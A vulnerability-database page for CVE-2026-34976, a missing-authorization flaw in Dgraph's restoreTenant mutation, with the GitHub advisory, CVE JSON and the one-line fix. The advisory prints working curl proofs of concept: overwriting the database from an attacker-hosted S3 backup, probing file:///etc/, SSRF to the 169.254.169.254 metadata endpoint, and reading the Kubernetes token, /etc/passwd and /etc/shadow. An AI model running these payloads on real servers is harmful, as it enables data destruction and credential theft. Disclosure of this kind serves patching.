Vulnerability-Lookup

GHSA-P5RH-VMHP-GVCW

Vulnerability from github – Published: 2026-04-02 20:44 – Updated: 2026-04-06 23:26

Summary

Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Details

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.

This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

Authentication Bypass

Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.

When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
  }'

# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.

Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:

mutation { restoreTenant(input: {
  restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
  fromNamespace: 0
}) { code message } }

Live PoC Results (Dgraph v24.x Docker)

Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:

# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}

The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.

Filesystem enumeration also confirmed with distinct error messages: - /etc/ (exists): "No backups with the specified backup ID" (directory scanned) - /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist) - /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)

PoC 2: Local Filesystem Probe via file:// Scheme

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
  }'

# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))

PoC 3: SSRF via S3 Endpoint

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
  }'

# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.

PoC 4: Vault SSRF + Server File Path Read

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
  }'

# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag

Fix

Add restoreTenant to adminMutationMWConfig:

"restoreTenant": gogMutMWs,

Koda Reef

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v24"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "24.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:44:36Z",
    "nvd_published_at": "2026-04-06T17:17:11Z",
    "severity": "CRITICAL"
  },
  "details": "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace\u0027s entire database:\n\n    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n      }\u0027\n\n    # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n    # The server fetches the attacker\u0027s backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker\u0027s S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n    mutation { restoreTenant(input: {\n      restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n      fromNamespace: 0\n    }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n    # restore (HAS middleware) -\u003e BLOCKED\n    $ curl ... \u0027{\"query\": \"mutation { restore(...) { code } }\"}\u0027\n    {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n    # restoreTenant (MISSING middleware) -\u003e AUTH BYPASSED\n    $ curl ... \u0027{\"query\": \"mutation { restoreTenant(...) { code } }\"}\u0027\n    {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn\u0027t exist): \"The uri path doesn\u0027t exists\" (path doesn\u0027t exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }\u0027\n\n    # Error response reveals whether /etc/ exists and its structure.\n    # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n    # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n    # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }\u0027\n\n    # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n    # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n      }\u0027\n\n    # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n    # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n    # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n    \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
  "id": "GHSA-p5rh-vmhp-gvcw",
  "modified": "2026-04-06T23:26:01Z",
  "published": "2026-04-02T20:44:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34976"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization"
}

CVE-2026-34976 (GCVE-0-2026-34976)

Vulnerability from cvelistv5 – Published: 2026-04-06 16:12 – Updated: 2026-04-07 16:00

Title

Dgraph Affected by Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Summary

Dgraph is an open source distributed GraphQL database. Prior to 25.3.1, the restoreTenant admin mutation is missing from the authorization middleware config (admin.go), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. This vulnerability is fixed in 25.3.1.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-07 15:46 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7895 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/dgraph-io/dgraph/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
dgraph-io	dgraph	Affected: < 25.3.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34976",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-07T15:46:54.961660Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-07T16:00:19.660Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dgraph",
          "vendor": "dgraph-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 25.3.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.3.1, the restoreTenant admin mutation is missing from the authorization middleware config (admin.go), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. This vulnerability is fixed in 25.3.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 10,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-06T16:12:43.596Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
        }
      ],
      "source": {
        "advisory": "GHSA-p5rh-vmhp-gvcw",
        "discovery": "UNKNOWN"
      },
      "title": "Dgraph Affected by Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34976",
    "datePublished": "2026-04-06T16:12:43.596Z",
    "dateReserved": "2026-03-31T19:38:31.617Z",
    "dateUpdated": "2026-04-07T16:00:19.660Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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